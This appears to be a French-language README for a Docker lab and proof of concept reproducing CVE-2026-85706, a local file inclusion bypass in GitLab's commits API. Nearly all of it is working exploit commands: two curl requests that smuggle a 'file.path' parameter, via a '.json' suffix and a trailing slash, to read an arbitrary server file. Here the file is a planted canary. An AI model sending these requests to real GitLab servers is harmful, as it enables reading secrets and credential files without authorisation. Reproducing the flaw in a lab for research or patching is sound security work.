
Environnement de reproduction basé sur Docker et PoC pour CVE-2026-85706, démontrant le contournement du LFI de GitLab via le suffixe .json et des astuces de chemin avec barre oblique finale.
git clone https://github.com/FlowerWitch/CVE-2026-85706_docker_exp
docker compose up -d
docker exec gitlab-vuln bash -c 'echo "SECRET-CANARY-85706-%%%" > /tmp/canary.txt'
# Méthode de contournement 1 : suffixe .json
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits.json" \
-H "Content-Type: application/json" \
--data '{"file":"","file.path":"/tmp/canary.txt","file.size":1,"Content-Type":"application/x-www-form-urlencoded"}'
# Méthode de contournement 2 : barre oblique finale
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data 'file=&file.path=/tmp/canary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded'
